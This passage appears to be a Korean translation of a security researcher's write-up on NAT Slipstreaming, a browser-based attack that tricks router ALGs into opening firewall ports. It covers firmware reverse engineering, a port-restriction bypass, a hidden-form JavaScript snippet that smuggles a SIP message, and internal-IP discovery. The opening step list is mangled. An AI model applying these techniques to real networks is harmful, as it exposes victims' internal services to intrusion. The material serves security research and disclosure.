
NAT 슬립스트리밍은 공격자가 피해자 시스템에 바인딩된 모든 TCP/UDP 서비스에 원격으로 접근할 수 있게 하며, 피해자의 NAT/방화벽을 우회합니다. 이는 피해자 네트워크에 있는 누군가가 웹사이트를 방문하기만 하면 가능합니다.
NAT 슬립스트리밍은 공격자가 피해자의 NAT/방화벽을 우회하여(원격 임의 방화벽 포트 개방 제어) 모든 시스템에 바인딩된 모든 TCP/UDP 서비스에 원격으로 접근할 수 있도록 합니다. 피해자는 단지 웹사이트를 방문하기만 하면 됩니다.
v1 개발자: @SamyKamkar // https://samy.pl
v2 개발자: Samy Kamkar && (Ben Seri && Gregory Vishnipolsky of Armis).
여기에서 Ben & Gregory의 v2에 대한 훌륭한 기술 문서를 읽어보세요 이 문서는 v2 업데이트에 대해 깊이 다루며 많은 추가 세부 정보를 제공합니다.
v1 발표: 2020년 10월 31일 👻
v2 발표: 2021년 1월 26일
소스 코드: https://github.com/samyk/slipstream
애니메이션 버전 보기 - draw.io의 내 포크로 생성, 애니메이션에서 내보내기 가능한 엣지 컨텍스트 흐름 및 제어 지원
NAT 슬립스트리밍은 사용자의 브라우저를 NAT, 라우터, 방화벽에 내장된 애플리케이션 레벨 게이트웨이(ALG) 연결 추적 메커니즘과 결합하여 악용합니다. 이는 타이밍 공격 또는 WebRTC를 통한 내부 IP 추출, 자동화된 원격 MTU 및 IP 단편화 탐지, TCP 패킷 크기 조정, TURN 인증 오용, 정밀한 패킷 경계 제어, 브라우저 남용을 통한 프로토콜 혼동을 연쇄적으로 수행합니다. NAT 또는 방화벽이 대상 포트를 열기 때문에 브라우저 기반의 모든 포트 제한을 우회합니다.
이 공격은 HTTP 또는 다른 헤더를 포함하지 않고 일부 TCP 및 UDP 패킷의 데이터 부분을 임의로 제어할 수 있는 점을 이용합니다. 이 공격은 모든 주요 최신 (및 구형) 브라우저에서 이 새로운 패킷 주입 기술을 수행하며, 제가 2010년에 개발한 원래 NAT 핀 기술(DEFCON 18 + Black Hat 2010에서 발표)의 현대화된 버전입니다. 또한 로컬 IP 주소 발견을 위한 새로운 기술도 포함되어 있습니다.
이 공격은 NAT/방화벽이 ALG(애플리케이션 레벨 게이트웨이)를 지원해야 합니다. ALG는 SIP 및 H323 (VoIP 프로토콜), FTP, IRC DCC 등과 같이 여러 포트를 사용할 수 있는 프로토콜(제어 채널 + 데이터 채널)에 필수적입니다.
높은 수준에서 NAT 슬립스트리밍은 다음과 같이 작동합니다:
.local mDNS/Bonjour 주소는 공격에 유용하지 않음)192.168.0.1)에 대한 숨겨진 img 태그를 백그라운드에서 로드img 태그에 onerror/onsuccess 이벤트 연결username 필드에 데이터를 채워 IP 단편화 강제 수행
우리는 여러 이유로 NAT(Network Address Translation)를 사용합니다. NAT의 가장 유용한 기능은 단일 공용 IP 주소를 여러 시스템에서 공유할 수 있게 한다는 점입니다. 이는 로컬 네트워크를 만들고 연결된 모든 시스템에 로컬 IP 주소를 제공하며, 해당 시스템 중 하나가 인터넷에 접속할 때 나가는 패킷을 다시 작성하여 공용 IP를 사용하도록 하여 응답이 NAT로 돌아오도록 하고, 반대로 대상 IP를 특정 클라이언트의 IP로 다시 작성합니다.
NAT의 책임은 동일한 주소/포트(google.com:443)에 대한 연결을 내부 호스트와 구분하는 것입니다. 결국 아웃바운드 포트, 대상 IP 및 소스 IP가 모두 동일해지기 때문입니다. 두 개의 다른 내부 피어가 동일한 소스 포트에서 연결을 시도하면 최신 NAT는 소스 포트 중 하나를 변경합니다(일부 네트워크는 모든 TCP/UDP 소스 포트에 대해 이 작업을 수행함).

Wikipedia (Wikiwand)에서:``` One of the important features built on top of the Netfilter framework is connection tracking. Connection tracking allows the kernel to keep track of all logical network connections or sessions, and thereby relate all of the packets which may make up that connection. NAT relies on this information to translate all related packets in the same way, and iptables can use this information to act as a stateful firewall.
NAT 뒤에 있는 머신이 패킷을 보내면, 라우터는 원격 호스트가 응답할 가능성이 있음을 예상하여 해당 정보(특히 소스 및 대상 포트, 소스 및 대상 IP 주소, 내부 IP)를 추적한 후, 그에 일치하는 모든 패킷을 내부 IP로 다시 반환합니다.
LAN의 다른 호스트가 동일한 소스 및 대상 포트 + IP로 동일한 연결을 시도하면 NAT는 이를 구분할 수 없습니다(소스 IP는 LAN에서 다르지만 WAN 측에서는 동일한 공용 IP로 다시 쓰여짐). 따라서 소스 포트를 변경하지만, 다시 전송할 때는 원래대로 복원합니다.
### 애플리케이션 레벨 게이트웨이
ALG를 사용하면 NAT가 FTP와 같은 다중 포트 프로토콜을 추적하여 시스템에서 FTP 서버로 나갈 수 있도록 한 다음, 특정 포트에서 내부 IP로 파일을 보내도록 요청할 때 ALG가 패킷을 다시 작성하여 공용 IP를 포함시킨 후 FTP 서버의 연결을 다시 사용자에게 전달할 수 있습니다. ALG가 IP를 다시 작성하지 않았다면 FTP 서버는 내부 IP로 다시 연결을 시도하거나(시그널링 연결과 소스 IP가 동일할 것으로 예상하는 경우 아예 시도하지 않음) 않을 것입니다.
[Wikipedia](https://www.wikiwand.com/en/Application-level_gateway)에서 발췌:```
In the context of computer networking, an application-level
gateway consists of a security component that augments a
firewall or NAT employed in a computer network. It allows
customized NAT traversal filters to be plugged into the
gateway to support address and port translation for certain
application layer "control/data" protocols such as FTP,
BitTorrent, SIP, RTSP, file transfer in IM applications, etc.
In order for these protocols to work through NAT or a
firewall, either the application has to know about an address/
port number combination that allows incoming packets, or the
NAT has to monitor the control traffic and open up port
mappings (firewall pinhole) dynamically as required.
Legitimate application data can thus be passed through the
security checks of the firewall or NAT that would have
otherwise restricted the traffic for not meeting its limited
filter criteria.
먼저 일반적인 게이트웨이가 실제로 패킷과 FTP, SIP 등과 같은 다중 포트 프로토콜을 어떻게 처리하는지 확인하고 싶습니다. 이를 위해 일반 라우터의 펌웨어를 리버스 엔지니어링하려고 합니다. 물리적 라우터에서 플래시를 덤프할 수도 있지만, 제조사로부터 암호화되지 않은 펌웨어를 얻을 수 있다면 더 많은 라우터 모델을 훨씬 빠르게 조사할 수 있을 것입니다.
일반적인 라우터인 Netgear Nighthawk R7000부터 시작하겠습니다. 빠른 검색을 통해 최신 펌웨어가 포함된 Netgear 문서를 찾을 수 있습니다. 펌웨어를 다운로드하고 압축을 풀면 R7000-V1.0.9.64_10.2.64.chk라는 30MB 파일을 찾을 수 있습니다.```sh tigerblood:~c/ng$ wget http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip --2019-05-19 19:21:13-- http://www.downloads.netgear.com/files/GDC/R7000/R7000-V1.0.9.64_10.2.64.zip Resolving www.downloads.netgear.com (www.downloads.netgear.com)... 104.69.65.243 Connecting to www.downloads.netgear.com (www.downloads.netgear.com)|104.69.65.243|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 31705064 (30M) [application/zip] Saving to: ‘R7000-V1.0.9.64_10.2.64.zip’
R7000-V1.0.9.64_10.2.64.zip 100%[=============================================>] 30.24M 6.25MB/s in 11s
2019-05-19 19:21:24 (2.83 MB/s) - ‘R7000-V1.0.9.64_10.2.64.zip’ saved [31705064/31705064]
tigerblood:~c/ng$ unzip R7000-V1.0.9.64_10.2.64.zip Archive: R7000-V1.0.9.64_10.2.64.zip extracting: R7000-V1.0.9.64_10.2.64.chk inflating: R7000-V1.0.9.64_10.2.64_Release_Notes.html tigerblood:~c/ng$ file R7000-V1.0.9.64_10.2.64.chk R7000-V1.0.9.64_10.2.64.chk: data tigerblood:~c/ng$ ls -lh R7000-V1.0.9.64_10.2.64.chk -rw-r--r-- 1 samy staff 30M Mar 26 11:46 R7000-V1.0.9.64_10.2.64.chk

`file` 명령어는 [매직 정보](https://www.wikiwand.com/en/Magic_number_(programming))를 감지하지 못하므로, [`binwalk`](https://github.com/ReFirmLabs/binwalk)를 사용하여 파일 내 중첩 데이터를 스캔할 수 있습니다.```sh
tigerblood:~c/ng$ binwalk R7000-V1.0.9.64_10.2.64.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 31703040 bytes, CRC32: 0xBEF1BB2F, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21E3F0, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5436416 bytes
2221098 0x21E42A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 29475437 bytes, 1988 inodes, blocksize: 131072 bytes, created: 2018-12-26 04:15:38
저는 macOS를 사용하며, binwalk는 기본적으로 일부 Linux 앱에 의존하여 binwalk -e (파일을 추출하는 명령)가 실패하게 됩니다. 그래서 수동으로 추출합니다 (그리고 저는 <3 perl golf를 합니다).```sh
tigerblood:~c/ng$ perl -ne'$@.=$_}{print+substr$@,2221098' R7000-V1.0.9.64_10.2.64.chk > squash.fs
또는 [`inout`](https://github.com/samyk/samytools/blob/master/inout)을 사용하세요. 예: `inout R7000-V1.0.9.64_10.2.64.chk 2221098`.
`dd`를 사용할 수도 있지만, 빠르게 출력하려면 큰 `bs`(블록 크기)를 사용하는 것이 좋습니다(예: 1024). 그러나 `skip` 속성(squashfs 블롭의 위치부터 시작하도록 지시)은 블록 크기를 따르며, 2221098은 2 이외에 머릿속에서 명확히 나누어 떨어지는 수가 아닙니다... 갑자기 궁금해지네요.```sh
tigerblood:~c/ng$ time dd if=R7000-V1.0.9.64_10.2.64.chk skip=$((2221098/2)) bs=2 of=squash.fs2
14741000+0 records in
14741000+0 records out
29482000 bytes transferred in 78.363403 secs (376222 bytes/sec)
real 1m18.385s
user 0m12.553s
sys 1m4.451s
이제 squash 파일 시스템을 풀어보겠습니다. 저는 macOS에서 실행되며 lzo를 지원하는 squashfs-tools의 포크의 포크를 만들었습니다. 또한 xz와 lzo를 설치해야 할 수도 있습니다. 또는 Linux에서 sasquatch를 사용할 수 있습니다.```sh
tigerblood:~c/ng$ sudo port install xz lzo
...
tigerblood:~c/ng$ git clone https://github.com/samyk/squashfs-tools && cd squashfs-tools/squashfs-tools && make && sudo make install && cd ../..
그리고 마지막으로 squash fs를 압축 해제할 수 있습니다.```sh
tigerblood:~c/ng$ unsquashfs -l -no squash.fs
Parallel unsquashfs: Using 8 processors
1881 inodes (2535 blocks) to write
squashfs-root
squashfs-root/bin
squashfs-root/bin/addgroup
... (many more files) ...
tigerblood:~c/ng$ cd squashfs-root && ls
bin data dev etc lib media mnt opt proc sbin share sys tmp usr var www
이제 원시 OS를 탐색할 수 있습니다!
이제 FTP와 관련된 파일을 찾을 수 있는지 살펴보겠습니다. FTP는 많이 사용된 프로토콜이므로 라우터에서 ALG 지원이 널리 퍼져 있을 것입니다. 저는 g tool을 사용하는데, 이는 egrep의 편리한 래퍼입니다.```sh
tigerblood:~c/ng/squashfs-root$ find . | g ftp
./usr/bin/tftp
./usr/sbin/bftpd
./usr/sbin/ftp
./usr/sbin/ftpc
./usr/etc/sftp-ssh.service
흥미로운 게 없으니, 내용이 /ftp/와 일치하는 바이너리 파일을 `g`로 검색하고, 신경 쓰지 않는 일부 파일은 무시합시다.```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '\.(html?|js|gif)$|www/|bin/'
lib/libsmbd-base-samba4.so
lib/libavformat.so.55
lib/libavutil.so.52
lib/libavcodec.so.55
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
lib/libcrypto.so.1.0.0
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/lib/libnvram.so
usr/lib/libcurl.a
usr/lib/libcurl.so.4.3.0
usr/lib/libcurl.so
usr/share/avahi/service-types
usr/share/libcrypto.so.1.0.0
g는 기본적으로 현재 작업 디렉토리를 재귀적으로 스캔합니다. -l은 파일 이름만 출력하는 데 사용됩니다(대부분 바이너리이므로), -a는 바이너리 파일을 스캔하고, ftp는 일치시킬 텍스트, 그리고 -v '\.(html?|js|gif)$|www/|bin/'는 웹 파일과 실행 파일((s)bin/에 위치)을 무시합니다.
lib/lib*.{a,so}{.*,}(배시 형식) 파일들은 흥미롭지 않으므로, 아래와 같이 다시 스캔해 보겠습니다:```sh
tigerblood:~c/ng/squashfs-root$ g -la ftp -v '.(html?|js|gif)$|www/|bin/|lib.*.(so|a)(.|$)'
lib/modules/tdts.ko
lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko
opt/xagent/certs/ca-bundle-mega.crt
usr/etc/sftp-ssh.service
usr/share/avahi/service-types
### 잠재적으로 유용한 함수 탐색
좋아요, 관심 있는 두 개의 파일 -- `lib/modules/tdts.ko`는 관련이 있을 수 있고, `lib/modules/2.6.36.4brcmarm+/kernel/lib/br_dns_hijack.ko`는 아마 관련이 없지만 흥미로워 보입니다! 나중에 조사해 볼 수도 있습니다.```sh
tigerblood:~c/ng/squashfs-root$ file lib/modules/tdts.ko
lib/modules/tdts.ko: ELF 32-bit LSB relocatable, ARM, EABI5 version 1 (SYSV), BuildID[sha1]=0aa35748e245e60273ceb5a48641e424d069235b, not stripped
tigerblood:~c/ng/squashfs-root$ strings lib/modules/tdts.ko | g ftp
ftp_decoder_open
ftp_decoder_close
ftp_decode_epsv_resp
ftp_decode_eprt_cmd
ftp_decode_pasv_resp
ftp_decode
ftp_decode_port_cmd
ftp_decoder
check_ftp_ft_rule
좋아요! FTP 기능을 가진 커널 오브젝트(.ko)이고, "port"와 같은 단어가 있으므로 FTP ALG와 관련이 있을 가능성이 높습니다. FTP RFC 959는 PORT 명령의 의미를 설명합니다:```
DATA PORT (PORT)
The argument is a HOST-PORT specification for the data port to be used in data connection. There are defaults for both the user and server data ports, and under normal circumstances this command and its reply are not needed. If this command is used, the argument is the concatenation of a 32-bit internet host address and a 16-bit TCP port address. This address information is broken into 8-bit fields and the value of each field is transmitted as a decimal number (in character string representation). The fields are separated by commas. A port command would be: PORT h1,h2,h3,h4,p1,p2 where h1 is the high order 8 bits of the internet host address.
### 조사할 포트/서비스
일부 FTP 기능을 발견했지만, 우리가 사용할 수 있는 포트에 더 관심이 있습니다. 최신 브라우저는 FTP를 포함한 여러 [제한된 포트](https://github.com/samyk/chromium/blob/2d57e5b8afc6d01b344a8d95d3470d46b35845c5/net/base/port_util.cc#L20-L90)로의 아웃바운드 HTTP(S) 연결을 차단하므로, FTP ALG를 악용하는 것은 불가능할 가능성이 높습니다.
2010년에 제가 [NAT Pinning을 처음 시연](https://samy.pl/natpin/)했을 때, DCC CHAT/FILE 메시지를 통해 포트 6667(IRC)를 사용했습니다. 곧 브라우저 공급업체들은 포트 6667을 차단했습니다...하지만 일부는 포트를 저장하기 위해 uint32(32비트 부호 없는 정수)를 사용하여 포트가 차단되었는지 확인하고, 차단되지 않았다면 연결했습니다. 이를 우회하려면 TCP 포트가 16비트 길이라는 점을 기억하는 것이 중요합니다. 따라서 선택한 '제한된' 포트에 2**16(65536)을 더하면(이 경우 65536+6667=72203), 브라우저는 72203을 저장하고 포트 제한을 통과한 후(72203 != 6667) TCP 스택으로 전송되어 16비트로 잘리게 되며, 이는 우리가 원했던 제한된 포트가 됩니다!
제 간단한 [`base calculator, 3`](https://github.com/samyk/samytools/blob/master/3)가 이를 보여줍니다 (db = 10진수 -> 2진수):```sh
tigerblood:/Users/samy/d$ 3 db 65536 6667 65536+6667
000000010000000000000000
000000000001101000001011
000000010001101000001011
내 diffbits 도구를 사용하면 더 잘 볼 수 있습니다. 이 도구는 비트 문자열 간의 유사점과 차이점을 보여주는 간단한 도구로, 여러 그룹의 비트 문자열 간에도 유용하며, 독점적인 바이너리 프로토콜을 리버싱하는 데 유용합니다.

원하는 디스어셈블러를 열어보세요. 저는 NSA 친구들이 만든 Ghidra를 사용했습니다. 무료이고 오픈소스이기 때문입니다.
strings를 통해 tdts.ko에서 본 함수 중 일부는 ftp_decode와 ftp_decoder였습니다. 따라서 다른 ALG에도 _decode 함수가 있을 가능성이 있습니다. 한번 살펴보죠...

좋아요, 여러 _decode 함수들이 있습니다... 아래로 스크롤하면 흥미로운 sip_decode가 보입니다.

제한된 브라우저 포트를 확인해보면, 기본 SIP 포트인 5060은 Chrome에서 제한되지 않음을 알 수 있습니다 :)
SIP는 TCP/UDP 5060에서 동작하지만, RTP(오디오)와 같은 미디어는 동적으로 생성되는 대체 포트를 통해 전송됩니다. SIP 호출 요청을 보낼 때 SIP 클라이언트는 임의의 포트를 선택하여 열고 SIP 헤더에 포함시킵니다. NAT도 이를 감지하고 포트를 열어야 하며, SIP ALG가 활성화되어 있다고 가정합니다(대부분의 라우터에서 기본적으로 활성화됨).
NAT가 SIP 패킷을 한 줄씩 읽는다고 가정하면(SIP는 HTTP와 같이 개행 기반이며 바이너리 프로토콜이 아님), 아마도 HTTP 헤더를 무시하고 POST 데이터에 도달하면 REGISTER를 읽고 SIP 패킷이라고 믿을 것입니다. 이는 2010년 IRC DCC 버전에서 작동했습니다. NAT는 HTTP 헤더를 무시하고 IRC DCC 명령만 파싱했습니다.
재미있는 점은, 이로 인해 우리 사이트를 방문하는 사용자가 자신도 모르게 합법적인 IRC 서버에 연결하여 채널에 가입하고 자신의 IP에서 메시지를 보내도록 만들 수 있었다는 것입니다! :P 저는 이 기술을 브라우저가 포트 25를 차단하고 SPF 레코드가 보편화되기 전에 클라이언트 IP 주소로 메일 서버에 이메일을 보내는 데 시연했습니다... 미친 짓이었죠.
이제 빠른 테스트에서 HTTP POST를 통해 포트 5060으로 SIP REGISTER 패킷을 보내는 것이 작동하지 않는 것 같습니다... 아마도 패킷에서 뭔가를 놓치고 있는 것 같습니다.```javascript // our sip message var sipmsg = 'REGISTER sip:samy.pl;transport=TCP SIP/2.0\r\n' + 'Contact: sip:[email protected]:1234;transport=TCP\r\n\r\n'
// load form in an iframe so user doesn't see it var iframe = document.createElement('iframe') iframe.name = 'iframe' iframe.style.display = 'none' // hide the iframe
// create form var form = document.createElement('form') form.setAttribute('target', 'iframe') // load into iframe form.setAttribute('method', 'POST') // need the POST area where we can add CRLFs form.setAttribute('action', 'http://samy.pl:5060') // "http" server on SIP port 5060 form.setAttribute('enctype', 'multipart/form-data') // ensure our data doesn't get encoded
var textarea = document.createElement('textarea') textarea.setAttribute('name', 'textname') // required textarea.innerHTML = sipmsg form.appendChild(textarea) document.body.appendChild(iframe) document.body.appendChild(form) form.submit()
스니핑을 하면, 다음과 같이 볼 수 있습니다 ( [`h2b`](https://github.com/samyk/samytools/blob/master/h2b)를 통해 파싱됨):```sh
$ unbuffer tcpdump -X port 5060 | h2b
POST / HTTP/1.1
Host: samy.pl:5060
Connection: keep-alive
Content-Length: 191
Cache-Control: max-age=0
Origin: http://samy.pl
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryhcoAd2iSAx3TJA7A
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://samy.pl/o/sp.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
------WebKitFormBoundaryhcoAd2iSAx3TJA7A
Content-Disposition: form-data; name="textname"
REGISTER sip:samy.pl;transport=TCP SIP/2.0
Contact: <sip:[email protected]:1234;transport=TCP>
------WebKitFormBoundaryhcoAd2iSAx3TJA7A--
하지만, 이렇게 해도 포트가 열리지 않고, 예상했던 IP 재작성도 이루어지지 않습니다(이에 대해서는 나중에 더 다룹니다). 따라서 우리가 놓치고 있는 부분이 있을 것입니다.
계속해서 커널 객체를 파헤쳐 봅시다. 디스어셈블리에서 SIP 패킷의 "SIP/2.0" 태그가 보이므로, 아마 여기서 파싱하는 것 같습니다("decode"라는 이름이 그렇게 암시합니다).

아, 이것이 우리가 실패하는 이유입니다. 패킷 시작 부분에서 "INVITE"라는 단어를 strncasecmp로 비교하는 것 같습니다(REGISTER에도 비슷한 파싱). 대소문자를 구분하지 않으며(SIP INVITE는 대문자이므로 흥미롭습니다), 패킷 시작의 "INVITE" 단어와 비교하여 branches if not equal (ARM 어셈블리 bne) 0이면, 즉 단어가 일치하면 어휘 순서가 0이 되어 ct_sip_get_header로 계속 진행되며, 그렇지 않으면 중단되는 것으로 보입니다.
이것이 문제입니다...웹 브라우저를 사용하여 아웃바운드 소켓을 생성할 수 있지만(TCP는 HTTP(S)를 통해, UDP는 WebRTC와 함께 TURN을 통해), 브라우저에서 TCP 데이터 부분을 이 모듈이 기대하는 "INVITE" 단어로 시작하도록 제어할 수 없습니다. 2010 IRC 버전에서는 IRC ALG가 HTTP 헤더 데이터를 무시하고 한 줄씩만 확인한 다음 POST 데이터의 줄바꿈을 사용하여 유효한 "IRC DCC"를 전송했습니다. 그러나 이 SIP ALG는 훨씬 더 엄격하며 요청의 시작 부분을 제어하는 것이 불가능합니다. TLS를 사용하면 암호화된 헤더가 패킷을 시작하고, HTTP를 사용하면 HTTP 메서드(GET, POST 등)가 패킷을 시작합니다. 다른 방법으로 이것을 악용할 수 있을까요?
연결 추적 및 애플리케이션 레벨 게이트웨이를 더 잘 이해하기 위해 netfilter, Linux의 네트워크 스택에서 어떻게 동작하는지 살펴볼 수 있습니다. Linux 소스 파싱을 기반으로 가장 일반적인 ALG와 그 동작 방식을 차트로 만들었습니다.

이 차트에서 가장 흥미로운 것들(Chrome에서 차단하지 않는 것)은 sane(백업), sip(VoIP), pptp(VPN), h323(VoIP)입니다. 이 중 SIP는 가장 널리 사용되는 프로토콜 중 하나이며 이미 일부 라우터의 펌웨어에서 확인되었으므로 선택하겠습니다.
Linux에는 프로토콜별 연결 추적을 처리하는 nf_conntrack_*.c 파일과 패킷 변조(수정)를 위한 nf_nat_*.c 파일이 있습니다.
SIP 연결 추적 모듈을 간략히 살펴보겠습니다.
module_init(nf_conntrack_sip_init) 이 연결 추적기를 초기화하여 nf_conntrack_sip_init 호출nf_ct_helper_init(...AF_INET, IPPROTO_TCP, "sip", SIP_PORT...) 시그널링이 IPv4 AF_INET TCP IPPROTO_TCP 포트 5060 SIP_PORT에서 들어올 것으로 예상...UDP, TCP, IPv4 및 IPv6에 대해 발생sip_help_tcp(...) 일치하는 TCP SIP 패킷이 들어오면 호출
process_sip_msg(...) 잠재적인 SIP 패킷처럼 보이면
process_sip_request(...) 요청인 경우우리가 아는 한, 브라우저가 원하는 트래픽으로 아웃바운드 TCP 연결을 강제하도록 만들 수 없으며, REGISTER나 INVITE와 같은 SIP 메서드로 시작하는 TCP/UDP 패킷을 생성하는 것이 필요합니다.
Flash는 예전에 아웃바운드 소켓을 허용했지만 완전히 제어할 수 없는 형식이었습니다. Java는 권한이 필요합니다. WebSocket은 여전히 HTTP입니다. TLS는 암호화됩니다. WebRTC (RFC 7742)는 암호화됩니다. STUN (RFC 3489)과 TURN (RFC 5766)은 고정된 형식이며, TURNS (RFC 7065)는 암호화됩니다.
높은 수준에서 보면 TCP 패킷의 시작을 제어할 수 없지만, 너무 큰 패킷을 보내면 어떻게 될까요? 최대 패킷 크기가 있어야 합니다...그 지점에서 패킷은 여러 패킷으로 분할되어야 합니다. TCP 패킷 크기를 오버플로우시키고 데이터의 일부를 정밀하게 제어할 수 있다면, 패킷 세분화를 유발하여 오버플로우된 다음 패킷의 맨 처음에 우리의 데이터가 위치하도록 할 수 있을까요?
음, 브라우저가 보낼 데이터 양을 알아야 합니다. 이는 브라우저마다 다르며, 사용자가 다른 HTTP 헤더를 보낼 수 있으므로 사용자마다도 다릅니다. HTTPS는 대부분의 콘텐츠가 암호화되므로 작동하지 않지만, HTTP POST는 헤더의 많은 부분을 제어할 수 있게 해줍니다.
패킷의 일반적인 크기를 얻기 위해, 숨겨진 웹 폼을 사용하여 큰 (6000바이트) HTTP POST를 ID와 패딩 데이터와 함께 http://our.attack.server:5060/pktsize로 보냅니다. 공격 서버에서는 패킷의 경계를 찾아 MTU(최대 전송 단위) 크기, IP 헤더 크기, 잠재적 IP 옵션, TCP 헤더 크기, 잠재적 TCP 옵션, 데이터 패킷 크기 및 제어 가능한 패킷 부분을 결정하는 패킷 스니퍼를 실행합니다.
또한 TCP 포트 5060에서 수신 대기하고 브라우저를 만족시키기 위해 HTTP 트래픽으로 응답하는 사용자 지정 서버를 실행하여 클라이언트 측에서 아무것도 의심스러워 보이지 않도록 합니다(형식이 잘못된 응답을 하는 서버는 콘솔에 오류를 발생시키거나, 잘못 응답하는 서버는 상태 스피너를 계속 회전시킵니다).

초기 SYN 응답 중에 최대 세그먼트 크기(mss) TCP 옵션을 전송하여 피해자의 아웃바운드 패킷 크기를 조작함으로써 TCP 패킷 데이터 크기를 더 제어하려고 시도합니다(RFC 793 x3.1). 이는 피해자 시스템이 TCP 패킷을 특정 크기로 유지하도록 지시합니다.

Linux에서는 ip route에 advmss <크기>를 추가하여 이 작업을 수행할 수 있습니다. 여기서는 1500을 사용하겠습니다.```sh
ip route replace default via [gateway] dev eth0 advmss 1500
일단 패킷을 확보하면, 별도의 POST를 통해 피해자 클라이언트에게 크기 데이터를 다시 보내는데, 이 POST에는 피해자의 ID가 포함되어 있어 원래 피해자의 요청과 연결할 수 있습니다. 이 시점에서 클라이언트는 TCP 패킷 내의 특정 위치에 임의의 데이터를 배치하기 위해 패킷을 어떻게 패딩해야 하는지 잘 알게 됩니다.
### IP 단편화와 UDP 및 TURN 사용
일부 NAT는 SIP 연결이 원래 UDP였던 경우에만 UDP 포트에 접근을 허용하므로, 이 경우 TURN을 사용합니다. TURN은 SIP 및 WebRTC와 같은 P2P 통신을 위한 릴레이를 지원하는 프로토콜입니다. TURN은 UDP이고, TURNS(TURN+TLS)는 TCP입니다. 최신 브라우저는 미디어 공유를 위해 직접 P2P 연결을 설정할 수 없는 경우 WebRTC를 위해 TURN을 지원합니다.
TURN은 사용자 이름과 비밀번호로 인증을 허용하며, 사용자 이름은 평문으로 전송됩니다. 흥미롭게도 사용자 이름의 크기나 문자에 제한이 없으므로, 동일한 유형의 패킷 오버플로우를 수행하는 데 사용할 수 있습니다.
TURN은 UDP 위에 있으므로, MTU 크기를 초과하면 IP 패킷 자체가 단편화됩니다(UDP는 세그먼테이션을 지원하지 않음). 두 번째 패킷은 데이터 부분뿐만 아니라 UDP 헤더까지도 우리가 제어할 수 있습니다! 이것은 우리 공격에 중요하지는 않지만, 흥미롭고 분명히 다른 공격을 만들어낼 수 있습니다. 결국, MSS 크기 대신 계산된 MTU 크기를 기준으로 패킷 경계를 정렬하여 UDP를 통해 동일한 공격을 수행할 수 있습니다. 이를 통해 SIP UDP 패킷이 두 번째 패킷 경계에 위치하게 하고(가짜 UDP 헤더가 앞에 붙음), UDP 포트를 피해자에게 다시 전달할 수 있습니다.
## TCP 타이밍 공격 / 내부 서브넷 및 IP 발견
아, 그래도 작동하지 않을 것입니다! ALG가 이를 합법적인 SIP 패킷으로 처리하려면, 데이터를 다시 받을 IP 주소([`Contact`](https://tools.ietf.org/html/rfc2543#section-6.13) SIP 라인에 있음)가 SIP 패킷이 온 내부 IP(피해자)여야 하는데, 우리는 그 주소를 모릅니다. 라우터의 공용 IP 주소만 서버로 전송됩니다(NAT가 공용 측에서 나갈 때 소스 IP를 다시 쓰기 때문).
리눅스의 `nf_conntrack_sip.c`에 있는 [process\_sip\_request](https://github.com/samyk/linux/blob/ea2cec24c8d429ee6f99040e4eb6c7ad627fe777/net/netfilter/nf_conntrack_sip.c#L1260)에서 이 검사를 볼 수 있습니다:

[2010년](https://samy.pl/natpin/)에는 [LiveConnect](https://developer.mozilla.org/en-US/docs/Archive/Web/LiveConnect)를 사용하여 일부 조건에서 자바스크립트로 Java 코드를 실행하고 사용자의 로컬 IP를 추출했지만, 이는 곧 사용되지 않게 되었습니다.
일부 브라우저(Chrome, Firefox)에서는 [WebRTC](https://www.w3.org/TR/webrtc/)를 사용하여 [ICE](https://tools.ietf.org/html/rfc5245)(STUN/TURN/TURNS 사용)를 통해 피해자의 내부 IP 주소를 얻을 수 있습니다. 이들은 NAT 뒤에 있는 피어가 자신에 대한 정보를 파악하는 데 도움을 주는 프로토콜입니다. 아이러니하게도, ICE "요청"에는 서버가 필요하지 않습니다. 브라우저는 이미 내부 IP를 알고 있으며, 원격 STUN/TURN 서버는 클라이언트가 먼저 보내지 않으면 알 수 없기 때문입니다. 문제는 모든 브라우저가 이 메커니즘을 제공하지 않는다는 점입니다.
현재 Chrome에서 WebRTC를 사용하여 로컬 IP 주소를 얻으려면(`.local` mDNS/Bonjour 주소 대신) HTTPS가 필요하지만, 나머지 공격에는 HTTP가 필요하므로 먼저 HTTP인지 감지하고, 그렇지 않으면 HTTPS로 리디렉션합니다. 그런 다음 WebRTC를 사용하여 로컬 IP 주소를 추출하려고 시도합니다. 어느 쪽이든, URL에 IP를 추가하여 다른 통신 방법을 통한 교차 출처 제한을 우회하기 위해 다시 HTTP로 리디렉션합니다.
### 타이밍 공격
Safari, IE <= 11 또는 WebRTC를 지원하지 않거나 의도적으로 내부 IP를 공개하지 않는(Safari) 브라우저를 사용하는 경우, 웹 타이밍 공격을 사용하여 피해자의 내부 IP 주소를 알아낼 수 있습니다.
